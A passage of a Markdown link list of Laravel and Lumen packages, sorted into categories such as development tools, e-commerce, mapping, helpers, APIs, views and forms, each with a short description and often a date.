- [Candela](https://github.com/jenssegers/candela) - A [Silex](http://silex.sensiolabs.org/)/[Slim](http://www.slimframework.com/) style version of Laravel's Lumen microframework. \[05/16/2015\]
- [Debug Window](https://github.com/andersmandersen/laravel-debugwindow) - Extension of popular DebugBar tool that displays variables sent to view in easy-to-read format. \[07/20/2015\]
- [Env Providers](https://github.com/svenluijten/env-providers) - Load service providers based on the application's current environment. \[03/07/2017\]
- [Inspector](https://github.com/tajawal/inspector) - Utility that checks installed [Composer](https://getcomposer.org/) project dependencies and notifies you of any updates (not Laravel specific). \[04/26/2016\]
- [Interactive Make](https://github.com/laracademy/interactive-make) - Turns Artisan `make` command into fully-interactive wizard for all options. \[04/26/2017\]
- [Lambo](https://github.com/tightenco/lambo) - Simple shell script that speeds the process of creating and configuring a new Laravel project. \[07/24/2017\]
- [Laraquick](https://github.com/ezra-obiwale/laraquick) - Collection of classes to help speed Laravel development. \[04/23/2018\]
- [Larastan](https://github.com/nunomaduro/larastan) - Wrapper package for [PhpStan](https://github.com/phpstan/phpstan) static-analysis tool. \[07/23/2018\]
- [Larasupport](http://irazasyed.github.io/larasupport/) - Provides some missing helpers to [Lumen](http://lumen.laravel.com/) and allows Laravel packages to be used with Lumen. \[06/08/2015\]
- [Laravel API Generator](https://github.com/mitulgolakiya/laravel-api-generator) - Another independent code-generation tool for creating project boilerplate, including migrations, models, controllers, various views, etc. \[05/14/2015\]
- [Laravel Backup](https://github.com/freekmurze/laravel-backup) - Artisan extension that allows you to backup your application and database into a ZIP archive.
- [Laravel Console](https://github.com/darsain/laravel-console) - An in-browser console for running Laravel commands (or any PHP code!). Like a browser-based version of [Artisan](http://laravel.com/docs/4.2/artisan). \[04/22/2015\]
- [Laravel Decomposer](https://github.com/lubusIN/laravel-decomposer) - Generates a list of all of the packages used by your Laravel application, including dependencies, and displays them in the browser. \[02/20/2017\]
- [Laravel Environment](https://github.com/Brunty/laravel-environment) - Artisan extension to create and edit environment-specific configuration files in the shell.
- [Laravel Environment Manager](https://github.com/tommyku/laravel5_env) - Artisan command for managing multiple environments (`.env`) for a Laravel 5 application.
- [Laravel Feature Flag/Switch](https://github.com/jonathan-bird/feature-switch) - Simple tool for adding [feature flag](https://en.wikipedia.org/wiki/Feature_toggle) capability to your Laravel applications. \[06/16/2016\]
- [Laravel IDE Helper](https://github.com/barryvdh/laravel-ide-helper) - Adds auto-complete support for Laravel syntax to a variety of IDEs and text editors, including [Aptana Studio](http://aptana.com/), [Eclipse](http://eclipse.org/), [PHP Storm](http://www.jetbrains.com/phpstorm/), and more.
- [Laravel Identify](https://github.com/unicodeveloper/laravel-identify) - Package to identify client configuration, such as browser, device, operating system and more. \[01/07/2017\]
- [Laravel iDoc](https://github.com/ovac/idoc) - Automatically generate interactive API documentation from your existing Laravel routes. Take a look at the [example documentation](https://www.ovac4u.com/idoc/live). Inspired by [Laravel API Documentation Generator](mpociot/laravel-apidoc-generator) \[04/30/2019\]
- [Laravel Inspector](https://github.com/lsrur/inspector/) - Comprehensive debugging and profiling tool with full logging capabilities that outputs errors and logged actions to browser JavaScript console. \[08/03/2016\]
- [Laravel Log Viewer](https://github.com/rap2hpoutre/laravel-log-viewer) - Add on which allows you to view your Laravel 4.2/5.0 log file within the application itself by opening the `logs` (or other) route.
- [Laravel Make-Me](https://github.com/HydrefLab/laravel-make-me) - Extendable interactive Artisan `make` command. \[03/03/2018\]
- [Laravel PackMe](https://github.com/ptondereau/laravel-packme) - A shell/command-line starter kit for developing pakcages for Laravel 5. \[06/16/2016\]
- [Laravel Permission](https://github.com/spatie/laravel-permission) - A simple package to manage users, roles, and permissions in Laravel. \[09/22/2015\]
- [Laravel Tracer](https://github.com/appstract/laravel-tracer) - Displays the full path of each Blade view, including partials, loaded into template at place it is applied. \[06/22/2017\]
- [Laravel Tracy](https://github.com/recca0120/laravel-tracy) - Package for integrating the excellent [Nette Tracy](https://tracy.nette.org/) debugging library as a replacement for [Laravel's standard error handling functions](https://laravel.com/docs/errors). \[09/02/2016\]
- [Laravel UUID](https://github.com/webpatser/laravel-uuid) - Laravel 4.x/5.x package to generate a UUID according to the RFC 4122 standard. See [here](https://medium.com/@steveazz/setting-up-uuids-in-laravel-5-552412db2088) for example usage as database key. \[04/29/2016\]
- [Laravel View Xray](https://github.com/beyondcode/laravel-view-xray) - Provides capability to show which Blade template rendered various portions of page in a view. \[07/24/2018\]
- [Laravel Web Installer](https://github.com/RachidLaasri/LaravelInstaller) - Package helps you design an installer/setup wizard to allow users to install Laravel application without using Composer, SSH, etc. \[09/14/2015\]
- [Laravel-4-Generators](https://github.com/JeffreyWay/Laravel-4-Generators) - Package for speeding up development by generating classes, migrations, database seeds, and more.
- [Laroute](https://github.com/aaronlord/laroute) - Package of helper functions for "porting" Laravel routes over to JavaScript for use on front end of application.
- [Laravel Debug Bar](https://github.com/barryvdh/laravel-debugbar) - Integrates Laravel with [PHP Debug Bar](http://phpdebugbar.com/) to display debugging during application testing.
- [Laravel Resourceful](https://github.com/remoblaser/laravel-resourceful) - Generates full complement of CRUD resource Laravel code, including migrations, seeds, requests, controllers, models, and views. \[04/20/2015\]
- [Links](https://github.com/ConsoleTVs/Links) - Package for link statistics and tracking, including browser type, OS, language, and more. \[11/04/2016\]
- [Llum](https://github.com/acacha/llum) - Command-line utility to perform common configuration tasks for Laravel framework. \[08/12/2017\]
- [Lumen Generators](https://github.com/webNeat/lumen-generators) - Adds several Artisan commands for generating controllers, models, migrations, resources, routes and more. (For Lumen and Laravel) \[09/03/2017\]
- [Make:User](https://github.com/laracademy/commands.make-user) - Adds an Artisan command for generating a new user account based on e-mail address with optional name. \[11/15/2016\]
- [Migrations Generator](https://github.com/Xethron/migrations-generator) - Generate database migrations from existing database schema.
- [Open on Make](https://github.com/ahuggins/open-on-make) - Simple package to open new file created by `artisan make` command in editor of your choice. \[06/25/2018\]
- [PHP Console](https://github.com/barbushin/php-console-laravel) - Laravel package wrapper/service provider to handle PHP errors, dump variables, execute PHP code remotely, etc. in Google Chrome with [PHP Console extension](https://chrome.google.com/webstore/detail/php-console/nfhmhhlpfleoednkpnnnkolmclajemef).
- [Potion](https://github.com/Classy-Geeks/laravel-potion) - Asset management tool for Laravel 5 based off of Assetic with only PHP dependencies. \[04/05/2015\]
- [Pretty Routes](https://github.com/garygreen/pretty-routes) - Adds a `/routes` URL to your application for a nice visualization of all of the routes, including HTTP methods, middleware used, and more. \[08/31/2016\]
- [SmartSeeder](https://github.com/slampenny/SmartSeeder) - SmartSeeder extends database seeding beyond development to allow to use different seed data depending on the environment.
- [sqli](https://github.com/antonioribeiro/sqli) - Laravel 4 Artisan SQL REPL (interactive tool), similar to *tinker* for SQL queries.
- [Environment](https://github.com/jpcercal/environment) - A simple library to increase the power of your environment variables.
- [TNT Search](https://github.com/teamtnt/tntsearch) - Full-featured full-text search engine. \[10/01/2016\]
- [Translation.io for Laravel](https://github.com/translation/laravel) - Package that integrates support for [Translation.io](https://translation.io/) to allow localization of Laravel applications using [GetText](https://www.gnu.org/software/gettext/). \[05/01/2018\]
- [Laravel UI http logger](http://apideveloper.io) - Laravel package to log every request/response app handled and UI to analyze it
- [Bugphix](https://github.com/bugphix/bugphix-laravel) - Capture and monitor detailed error logs with nice dashboard and UI
### E-commerce
- [Aimeos](http://aimeos.org/project/laravel-shop-package/) - Complete e-commerce/web shop package with support for product catalogs, shopping, checkout, payment, and order management. \[04/29/2015\]
- [Antvel](https://github.com/ant-vel/antVel) - Package for building e-commerce applications with Laravel. \[12/16/2016\]
- [Amazon ECS (E-Commerce Services)](https://github.com/JoeDawson/amazon-ecs) - Package to allow searching the Amazon product catalog. \[12/18/2015\]
- [AvoRed](https://github.com/avored/laravel-ecommerce) - Full-featured e-commerce platform built on Laravel. \[07/09/2018\]
- [Grafite Commerce](https://github.com/GrafiteInc/Commerce) - Full-fledged e-commerce package that includes support subscriptions, electronic downloads, and more. \[06/25/2018\]
- [LaraCart](https://github.com/lukepolo/laracart/) - Fully-featured shopping cart package for Laravel. \[03/30/2017\]
- [Laragento](https://github.com/develpr/laragento) - A Laravel + [Magento](http://magento.com/) mashup, for directly accessing Magento data via RESTful API provided by Laravel. \[10/12/2015\]
- [Laravel PayPal](https://github.com/srmklive/laravel-paypal) - Laravel package for PayPal payment processing, which can also be used outside of Laravel. \[07/14/2020\]
- [Laravel PayPal Payment](https://github.com/xroot/laravel-paypalpayment) - Package for processing credit card or PayPal account payments using [PayPal REST API](https://developer.paypal.com/docs/api/).
- [Mage2](https://github.com/mage2/laravel-ecommerce) - Laravel e-commerce package with built-in Paypal support. \[12/16/2016\]
- [Paypal IPN](https://github.com/logicalgrape/paypal-ipn-laravel) - Package for a listener and processor for [Paypal IPN](https://developer.paypal.com/docs/classic/ipn/gs_IPN/) responses.
- [SCart](https://s-cart.org/) - Full-featured e-commerce platform intended to be easy for non-technical users to install and maintain, built on Laravel. \[09/11/2020\]
- [Vanilo](https://vanilo.io/) - Basic (catalog, clients, cart, orders) e-commerce toolkit/framework for Laravel [built along the principles of Laravel itself](https://medium.com/@attilafulop/e-commerce-platform-for-laravel-c09a2bcfe8c6). \[08/17/2017\]
### GIS/Mapping
- [GeocoderLaravel](http://geocoder-php.org/GeocoderLaravel/) - Laravel package for the well-documented and supported [GeocoderPHP](http://geocoder-php.org/Geocoder/) library.
- [GeoIP for Laravel](http://www.darwinbiler.com/laravel-4-freegeoip/) - Laravel package with fluent API for getting location information from IP address. \[06/01/2015\]
- [GooglMapper](https://github.com/bradcornford/Googlmapper) - Package for integrating Google Maps into your Laravel application. \[06/25/2018\]
- [LaraGeo](https://github.com/Fuhrmann/larageo-plugin) - Laravel package wrapper for [geoPlugin](http://www.geoplugin.com/webservices/json) IP address-to-locality web service.
- [Laravel Google Maps](https://github.com/farhanwazir/laravelgooglemaps) - Package to provide full Google Maps support to Laravel. \[07/30/2016\]
- [Laravel IP Service](https://github.com/dimsav/laravel-ip-service) - A Laravel package for [ip2nation.com](http://ip2nation.com/) to get the user's country by IP address.
- [Laravel MySQL Spatial](https://github.com/grimzy/laravel-mysql-spatial) - Package to easily work with [MySQL Spatial Data Types](https://dev.mysql.com/doc/refman/5.7/en/spatial-datatypes.html) and [MySQL Spatial Functions](https://dev.mysql.com/doc/refman/5.7/en/spatial-function-reference.html). \[09/11/2017\]
- [Laravel PostGIS](https://github.com/njbarrett/laravel-postgis) - Package to simplify use of [PostGIS](http://postgis.net/) geometry data in Laravel. \[09/11/2017\]
- [Postcode](https://github.com/garygreen/Postcode) - Simple searching by postal codes for geographic information, including latitude/longitude. \[09/24/2016\]
### Helpers/General
- [Alerts](https://github.com/prologuephp/alerts) - Package for handling global site messages in Laravel. \[07/30/2015\]
- [Beautymail](https://github.com/Snowfire/Beautymail) - Send responsive HTML emails from Laravel Blade views. \[11/03/2016\]
- [Blade](https://github.com/duncan3dc/blade) - Allows you to use Laravel Blade templates as standalone components outside of Laravel. \[10/17/2016\]
- [Blade on Steroids](https://github.com/antonioribeiro/steroids) - Several enhancements to the standard Blade syntax, including sub-templating and much more.
- [Bruno](https://github.com/esbenp/bruno) - A Laravel base controller class and a trait that will enable to add filtering, sorting, eager loading and pagination to your resource URLs. \[12/31/2016\]
- [Captain Hook](https://github.com/mpociot/captainhook) - Adds support for [web hooks](https://en.wikipedia.org/wiki/Webhook) (a.k.a. callback functions) in Laravel Package supporting multiple JavaScript charting libraries, including ChartJS, Highcharts, Chartist, and more. \[10/15/2016\]driven by Laravel's [Event](http://laravel.com/docs/5.1/events) system. \[11/04/2015\]
- [Charts](https://github.com/ConsoleTVs/Charts) - Package supporting multiple JavaScript interactive charting libraries, including [ChartJS](http://www.chartjs.org/), [Highcharts](http://www.highcharts.com/), [Chartist](https://github.com/gionkunz/chartist-js), and more. \[10/15/2016\]
- [CSS Colors](https://github.com/SoapBox/css-colors) - Tool to automatically produce color variations/gradients for foreground and background based on input CSS hex color (wrapper for [this PHP class](http://www.barelyfitz.com/projects/css-color/)). \[04/05/2015\]
- [dd](https://github.com/marktopper/dd) - Laravel 4 helper similar to [new `dd` from Laravel 5](https://laravel-news.com/2014/12/laravel-5-dd-gets-upgrade/).
- [Eloquent Sluggable](https://github.com/cviebrock/eloquent-sluggable) - Extends Eloquent to include a "sluggable" trait for easy generation of [slugs](http://en.wikipedia.org/wiki/Semantic_URL#Slug).
- [Ekko](https://github.com/laravelista/Ekko) - Laravel helper package that detects active Bootstrap navigation menu (navbar) item and applies `'active'` class. \[07/18/2015\]
- [CSV/XLS File Validator](https://github.com/mdcass/file-validator) - Package for applying validation rules to CSV and XLS files to ensure they conform to your schema. \[12/16/2016\]
- [Flashy](https://github.com/mercuryseries/flashy) - Easy flash notifications for Laravel. \[01/21/2016\]
- [Full Calendar Helper](https://github.com/maddhatter/laravel-fullcalendar) - Package to simplify interaction with [FullCalendar.io](http://fullcalendar.io/) in Laravel. \[09/08/2015\]
- [Gazatem DbLogger](http://www.gazatem.com/) - Package for saving Monolog log output to database using the existing Laravel API. \[03/01/2016\]
- [Graham Campbell's Packages](https://grahamjcampbell.co.uk/) - Variety of excellent packages for extending Laravel 4/5 functionality.
- [HTML5 Inputs](https://github.com/smalldogs/html5inputs/) - Extends Laravel [Form class](http://laravel.com/docs/4.2/html) to support [HTML5 form controls](http://diveintohtml5.info/forms.html), including `color`, `date`, `datetime`, `datatime-local`, `month`, `number`, `range`, `search`, `tel`, `time`, and `week`. \[04/27/2015\]
- [HTML5 Forms for Laravel](https://github.com/Braunson/laravel-html5-forms) - Another package to extend Laravel FormBuilder to support HTML5 form elements. \[06/11/2015\]
- [Intervention Image](http://image.intervention.io/) - An open-source PHP image handling and manipulation library with Laravel facades and service providers. \[02/11/2016\]
- [iSeed](https://github.com/orangehill/iseed) - Inverse seed generator to create a database seed file using existing data in database table.
- [Ixudra Curl](https://github.com/ixudra/curl) - Laravel package for fluent curl support. \[01/23/2016\]
- [Kint](http://kint-php.github.io/kint/) - A replacement for [`var_dump()`](http://php.net/manual/en/function.var-dump.php), [`print_r()`](http://php.net/manual/en/function.print-r.php), and [`dd()`](http://laravel.com/docs/4.2/helpers#miscellaneous) for pretty printing debugging data.
- [Laracurl](https://github.com/zjango/Laracurl) - Laravel wrapper package for [PHP cURL](https://github.com/anlutro/php-curl) class that provides OOP interface to [cURL](https://en.wikipedia.org/wiki/CURL). \[10/27/2015\]
- [LaraOCR](https://github.com/alimranahmed/LaraOCR) - Adds integrated support for optical character recognition (OCR) engines like [Tesseract](https://github.com/tesseract-ocr/tesseract). \[12/04/2017\]
- [Larastrap](https://github.com/memphisphp/larastrap) - Laravel base site configuration based on Laravel 4.1, [Bootstrap 3](https://github.com/twbs/bootstrap/releases), [jQuery](https://jquery.com/), [FontAwesome](http://fontawesome.io/), and [HTML5 Shiv](https://github.com/aFarkas/html5shiv/).
- [Laravel Achievements](https://github.com/gstt/laravel-achievements) - Implements an achievement system in Laravel, based on Notifications. \[02/20/2017\]
- [Laravel Annotations](https://github.com/adamgoose/laravel-annotations) - Provides support for annotating Controller methods with the corresponding route, including route naming.
- [Laravel Auto Presenter](https://github.com/ShawnMcCool/laravel-auto-presenter) - Automatically decorates (applies formatting to) model objects bound to views during the view render process.
- [Laravel Calendar](https://github.com/makzumi/laravel-calendar) - A comprehensive calendar package with built-in support for events. \[04/22/2015\]
- [Laravel Config Writer](https://github.com/daftspunk/laravel-config-writer) - Augments the [Laravel Configuration class](https://laravel.com/docs/configuration) to include support for writing configuration parameters. \[08/17/2017\]
- [Laravel DOMPDF Wrapper](https://github.com/barryvdh/laravel-dompdf) - Laravel 4/5 package wrapper around [DOMPDF](http://dompdf.github.io/) for generating PDFs from Laravel views.
- [Laravel Email Database Log](https://github.com/shvetsgroup/laravel-email-database-log) - Simple pakcage that logs all out-going e-mails sent from Laravel to `email_log` table in application database. \[10/12/2015\]
- [Laravel Enqueue](https://github.com/php-enqueue/laravel-queue) - Open-source Laravel wrapper for the PHP Enqueue queue library with support for [several queue transport technologies](https://github.com/php-enqueue/enqueue-dev/tree/master/docs/transport), including AMQP and Redis. \[07/24/2017\]
- [Laravel Excel](http://www.maatwebsite.nl/laravel-excel/docs) - An Eloquent way of importing and exporting Excel and CSV files for Laravel 4.* with the power of PHPOffice's [PHPExcel](https://github.com/PHPOffice/PHPExcel).
- [Laravel File Generator](https://github.com/skyronic/laravel-file-generator) - Tools for helping you create your own [`artisan`](https://laravel.com/docs/artisan) commands to generate file templates. \[04/11/2017\]
- [Laravel File Manager](https://github.com/tsawler/laravel-filemanager) - File upload manager and editor for Laravel that integrates with [CKEditor](http://ckeditor.com/). \[12/31/2016\]
- [Laravel Formatter](https://github.com/SoapBox/laravel-formatter) - Port of [FuelPHP](http://fuelphp.com/) formatter library for formatting JSON, XML, YAML, and CSV data.
- [Laravel Forum](https://github.com/Riari/laravel-forum) - A complete forum package designed for easy integration into any Laravel 4 application.
- [Laravel Handlebars](https://github.com/ProAI/laravel-handlebars) - Provides support for using [Handlebars](http://handlebarsjs.com/) and [Mustache](https://github.com/bobthecow/mustache.php) templates with Laravel, including in conjunction with Blade. \[08/02/2016\]
- [Laravel HTML](https://github.com/spatie/laravel-html) - Provides fluent interface for creating HTML in Blade templates or any HTML/frontend file. \[04/17/2017\]
- [Laravel Javascript Routes](https://github.com/fedeisas/laravel-js-routes) - Package to allow simple matching of Laravel routes to JavaScript/jQuery on client side.
- [Laravel Kint](https://github.com/rtconner/laravel-kint) - Package wrapper for [Kint](http://raveren.github.io/kint/) debugging library that includes native service provider. \[08/10/2015\]
- [Laravel Medium Editor](http://www.codeforest.net/laravel-wysiwyg-editor) - Laravel package for using the [Medium WYSIWYG JavaScript Editor](http://daviferreira.github.io/medium-editor/) with Laravel 4.x.
- [Laravel Menu](http://lavary.github.io/laravel-menu/) - Package that provides fluent, Laravel-esque method for building menus.
- [Laravel Menu (Murze)](https://github.com/spatie/laravel-menu) - Laravel package for generating hierarchical HTML menus for your application. \[03/28/2016\]
- [Laravel Multi Domain](https://github.com/gecche/laravel-multidomain) - A Laravel 5 & 6 extension for using a laravel application on a multi domain setting by usign multi .env files. \[25/01/2020\]
- [Laravel 5 Nestable](https://github.com/atayahmet/laravel-nestable) - Provides trait support for nestable/hierarchical menus and categories in Laravel. \[11/02/2016\]
- [Laravel Options](https://github.com/appstract/laravel-options) - Provides a key-value store table named `options` for storing application configuration data. \[03/20/2017\]
- [Laravel Paginate Route](https://github.com/spatie/laravel-paginateroute) - Extension to use built-in [Laravel paginator](http://laravel.com/docs/pagination) feature without the query string. \[07/12/2015\]
- [Laravel Panel](http://laravelpanel.com/) - Clean, Bootstrap-based admin panel for Laravel 5.x. \[07/13/2015\]
- [Laravel Report Generator](https://github.com/Jimmy-JS/laravel-report-generator) - Package that simplifies generating reports in PDF, CSV, and Excel formats.
- [Laravel SASS](https://github.com/panique/laravel-sass) - Automatic SASS-to-CSS compiling for Laravel 4 (and any other framework too), config-free, in pure PHP.
- [Laravel Taggable Trait](https://github.com/rtconner/laravel-tagging) - Trait and library to support managing tags on your models. \[10/15/2016\]
- [Laravel Talk](https://github.com/nahid/talk) - Real-time messaging package for integration with any Laravel 5 application. See [complete tutorial](https://medium.com/@nahid/laravel-talk-a-realtime-messaging-system-d42abb8ba10a) for more information. \[12/22/2017\]
- [Laravel Tenancy](https://github.com/tenancy/tenancy) - Allows multiple sites to use same Laravel installation with client- or application-specific code to be segregated. \[07/24/2018\]
- [Laravel Transactional Events](https://github.com/fntneves/laravel-transactional-events) - Adds a transactional layer to the Laravel [Event Dispatcher](https://laravel.com/docs/events#dispatching-events). \[09/06/2017\]
- [Laravel Validation Rules](https://github.com/laravel-validation-rules) - Collection of drop-in, Composer-enabled validation rules that integrate with built-in [validation engine](https://laravel.com/docs/5.5/validation). \[09/21/2017\]
- [MailThief](https://github.com/tightenco/mailthief) - A fake mailer for Laravel applications that makes it easy to test mail without actually sending any emails. \[07/07/2016\]
- [PDF Laravel 5](https://github.com/vsmoraes/pdf-laravel5) - Package wrapper for [DOMPDF](http://dompdf.github.io/) HTML-to-PDF conversion library. \[08/16/2015\]
- [PHP Curl](https://github.com/anlutro/php-curl) - A simple PHP wrapper class for [cURL](http://curl.haxx.se/), including Laravel [service provider](http://laravel.com/docs/ioc#service-providers) and facade.
- [Prestissimo](https://github.com/hirak/prestissimo) - [Composer](https://getcomposer.org/) plugin which allows parallel downloads (via [cURL](https://curl.haxx.se/)) to speed up installation of packages. \[05/20/2019\]
- [Quarx](https://quarx.info/) - [Open-source](https://github.com/YABhq/Quarx/) package to add CMS capabilities to your Laravel application. \[05/04/2016\]
- [Rapyd](https://github.com/zofe/rapyd-laravel) - A Laravel 4 package for building simple CRUD functions using data grids (tables) and forms.
- [Registry Manager](https://github.com/Torann/laravel-registry) - Complete package for managing application configuration settings in database with cache support for better performance. \[05/20/2015\]
- [Settings](https://github.com/edvinaskrucas/settings) - A persistent setting package for Laravel that includes encrypting/decrypting values, caching, events, and more. \[10/06/2015\]
- [Socieboy Forum](https://github.com/socieboy/forum) - Forum package for use with any Laravel 5 application. \[09/24/2016\]\
- [sudo-su](https://github.com/viacreative/sudo-su) - Handy package to allow impersonation of other users during development. \[03/15/2017\]
- [Syntara](http://mrjuliuss.github.io/syntara/) - Comprehensive user administration system for Laravel 4, including authentication, groups/permissions management, and more.
- [Throttle](https://github.com/AltThree/Throttle) - A request rate-limiter for Laravel. \[11/19/2016\]
- [Tuxedo](https://github.com/tomirons/tuxedo) - send transactional emails with Laravel's Mail classes, with the templates already done for you. \[01/14/2017\]
- [Virtuoso](https://github.com/coderabbi/virtuoso) - Extension to the built-in [View Composers](http://laravel.com/docs/4.2/responses#view-composers) functionality that provides composability of composers themselves.
- [Laravel TinyPNG API Support](https://github.com/yasmuru/ys-tinify-laravel) - Tinify API support with laravel
- [Laravel Integer To English](https://github.com/sujalpatel2209/IntegerToEnglish) - Convert Integer to English Word \[26/10/2019]\
### JavaScript Framework Support
- [Laravel and AngularJS](https://github.com/danielschmitz/laravel_and_angularjs_codes) - Source code to go with [book](https://leanpub.com/laravel_and_angularjs) on building applications with Laravel and [AngularJS](https://angularjs.org/). \[09/02/2016\]
- [Laravel GraphQL](https://github.com/Folkloreatelier/laravel-graphql) - Adds support for [GraphQL](https://facebook.github.io/graphql/) to Laravel/Lumen. \[09/02/2017\]
- [Laravel ReactJS](https://github.com/Cohros/laravel-reactjs) - Package to simplify sending data from Laravel back-end to front-end built to [Facebook ReactJS](http://facebook.github.io/react/). \[07/18/2015\]
- [Laravue](https://github.com/laravue/laravue) - Package that integrates [Vue.JS](http://vuejs.org/) JavaScript framework for single-page web applications. \[07/27/2015\]
- [react-laravel](https://github.com/talyssonoc/react-laravel) - Package to allow using ReactJS components directly in Laravel Blade views. \[07/18/2015\]
- [React/Laravel API Starter Application](https://github.com/TomKeyte/laravel-api-react-redux-starter-app) - Starter configuration of Laravel with React and Redux to build applications with Laravel REST API backend. \[06/27/2017\]
- [React Laravel Boilerplate](https://github.com/huwcarwyn/react-laravel-boilerplate) - Custom boilerplate template for building applications with Laravel and React/Redux. \[04/17/2018\]
- [Sweet Alert](https://github.com/uxweb/sweet-alert) - Package wrapper for the stylish [Sweet Alert](http://t4t5.github.io/sweetalert/) JavaScript `alert` replacement window utility. See this [excellent tutorial on how to use the package](http://www.askjong.com/howto/notify-like-a-boss-with-sweet-alert-and-laravel). \[07/20/2015\]
- [vue-starter Backend API](https://github.com/layer7be/vue-starter-laravel-api) - Adds Laravel backend support, including [JWT Authentication](http://jwt.io/) using the [Dingo](https://github.com/dingo) package, to [vue-starter](https://github.com/layer7be/vue-starter). \[11/06/2015\]
- [Webpack Laravel](https://github.com/dolbex/webpack-laravel) - A full-featured Webpack + Vue.JS-loader setup for Laravel with hot reload, linting, testing & CSS extraction. \[04/30/2016\]
### Third-Party API Support
- [API for Laravel](https://github.com/dingo/api) - Package to simplify creation of RESTful API for your Laravel application.
- [AWS Service Provider for Laravel 4](https://github.com/aws/aws-sdk-php-laravel) - Official Laravel service provider to integrate [AWS SDK for PHP](http://aws.amazon.com/sdk-for-php/) with Laravel.
- [CloudConvert Laravel API](http://robbiepaul.github.io/cloudconvert-laravel/) - A Laravel package wrapper for the [CloudConvert API](https://cloudconvert.com/apiconsole).
- [Google API for Laravel](https://github.com/jadulled/googleapi-laravel) - Laravel 4 wrapper for Google APIs, including support for OAuth/Log in via Google.
- [Laravel Dropbox](https://github.com/GrahamCampbell/Laravel-Dropbox) - Package providing a fluent API to Dropbox for Laravel. \[09/26/2016\]
- [Laravel Google Calendar](https://github.com/spatie/laravel-google-calendar) - Manage events on Google Calendar via Laravel. \[05/26/2016\]
- [laravel-ratchet](https://github.com/Askedio/laravel-ratchet) - Package that provides artisan command `ratchet:serve` which starts a [Ratchet](http://socketo.me/) IO, Web Socket, or WAMP server using the class provided. \[05/16/2016\]
- [Laravel SMS](https://github.com/matthewbdaly/laravel-sms) - SMS service provider package for Laravel for sending SMS notifications via Nexmo or Clockwork. \[09/26/2017\]
- [PHP OAuth 2.0 Server for Laravel](https://github.com/lucadegasperi/oauth2-server-laravel) - [OAuth 2.0](http://oauth.net/2/) authorization server and resource server for the Laravel 4 framework.
- [Telegram Bot SDK](https://github.com/irazasyed/telegram-bot-sdk) - Unofficial Laravel package for developing bots for the [Telegram](https://telegram.org/) messenger application. \[12/30/2015\]
- [Fluent-Facebook](https://github.com/iluminar/fluent-facebook) - A laravel 5 package for reading and writing to facebook graph object with ease in laravelish syntax. \[03/06/2017\]
### REST/Web Services
- [Apiato](http://apiato.io/) - [Open-source package](https://github.com/apiato/apiato), with comprehensive documentation, to help build APIs with Laravel. \[07/26/2017\]
- [Brainsocket](http://brainsocket.brainboxmedia.ca/) - Package for supporting real-time event-driven PHP apps using WebSockets.
- [DreamFactory](https://github.com/dreamfactorysoftware/dreamfactory) - An open-source REST API backend for mobile and web applications built on Laravel. \[11/19/2016\]
- [Dingo API](https://github.com/dingo/api) - Toolkit for building RESTful API with Laravel including API versioning, rate limiting, error handling, and more.
- [Laravel API Boilerplate (JWT Edition)](https://github.com/francescomalatesta/laravel-api-boilerplate-jwt) - Package for API boilerplate to build REST API/web service quickly, including support for JWT. \[04/23/2018\]
- [Laravel API Test Helpers](https://github.com/stephenjude/api-test-helper) - A collection of helper methods for testing and debugging API endpoints. \[11/17/2020\]
- [Laravel GraphQL](https://github.com/studio-net/laravel-graphql) - Laravel package wrapper for [GraphQL PHP](https://github.com/webonyx/graphql-php) to support use of [GraphQL](https://facebook.github.io/graphql/) for data access with Eloquent. \[08/03/2017\]
- [Laravel JSON API](https://github.com/cloudcreativity/laravel-json-api) - Package wrapper for standardizing JSON API requests/responses according to [JSON API](http://jsonapi.org/). \[04/12/2017\]
- [Laravel Scene](https://github.com/AeonAxan/laravel-scene) - Transformer which converts Laravel models into API responses. \[12/05/2017\]
- [Laravel OpenAPI](https://github.com/jeandormehl/openapi-gen) - Laravel wrapper for OpenAPI Documentation for [OpenApi/Swagger](https://github.com/OAI/OpenAPI-Specification). \[23/10/2019\]
### Views
- [Themevel](https://github.com/shipu/themevel) - Theme and Assets Management for Laravel 5+
- [AmaranJS Laravel Package](https://github.com/hakanersu/amaran-laravel) - Package wrapper for Laravel support to use excellent [AmaranJS notification jQuery plugin](http://ersu.me/amaranjs-en). \[07/13/2015\]
- [Bones Flash](https://github.com/GeneaLabs/bones-flash) - Enhanced version of built-in "flash" messages/notifications for Laravel, which includes modal popups and various levels of message. \[03/26/2017\]
- [Cursor Pagination](https://github.com/juampi92/cursor-pagination) - Pagination package to return results based on cursor value, which always returns same values. \[03/03/2018\]
- [Illuminate Menu](https://github.com/lazychaser/illuminate-menu) - A simple menu builder for Laravel using Bootstrap. \[11/04/2016\]
- [LaraTheme](https://github.com/codeWithTony/larathemes) - Simple/minimal theme manager for Laravel 5+. \[03/09/2016\]
- [Laravel API Response](https://github.com/lykegenes/laravel-api-response) - A wrapper package for [The PHP League](http://thephpleague.com/)'s [Fractal](http://fractal.thephpleague.com/) package. \[09/30/2015\]
- [Laravel Grid](https://github.com/adam-boduch/laravel-grid) - Package for displaying tabular data with support for filtering, sorting, and data from Eloquent model, collections, or arrays. \[03/09/2018\]
- [Laravel Theme](https://github.com/karlomikus/theme) - Package for adding theme support via [ViewServiceProvider](https://laravel.com/api/5.1/Illuminate/View/ViewServiceProvider.html) API. \[05/01/2016\]
- [Laravel View Themes](https://github.com/alexwhitman/laravel-view-themes) - Specify custom themes for your views in simple manner. \[05/25/2015\]
- [SwitchBlade](https://github.com/awkwardideas/SwitchBlade) - Add several useful directives to Laravel Blade templates, including support for [`switch`](http://php.net/manual/en/control-structures.switch.php), variable and debugging output, and empty/null variable checks. \[03/06/2017\]
### Web Forms
- [Bootforms](https://github.com/adamwathan/bootforms) - Package which simplifies and streamlines the process of specifying forms in Laravel with [Bootstrap](http://getbootstrap.com/) 3 markup.
- [Bootstrap Form](https://github.com/dwightwatson/bootstrap-form) - Allows simple creation of [Bootstrap](http://getbootstrap.com/) 3-styled form groups, including horizontal styling.
- [Former](https://anahkiasen.github.io/former/) - Package to structure and format web forms in Laravel idiomatic style.
- [JQuery Validator](https://github.com/davidthingsaker/laravel-validator) - Basic jQuery client-side form validator extension that uses same syntax as [Laravel Validation service](http://laravel.com/docs/validation). \[04/22/2015\]
- [Laravel Form Builder](https://github.com/kristijanhusak/laravel-form-builder) - Package for constructing HTML forms using PHP classes, including support for Laravel [form-model binding](http://laravel.com/docs/4.2/html#form-model-binding).
- [Laravel Form Validator](https://github.com/GrandadEvans/laravel-form-validator) - An extension of [way/generators](https://github.com/JeffreyWay/Laravel-Generators) for setting up form validators.
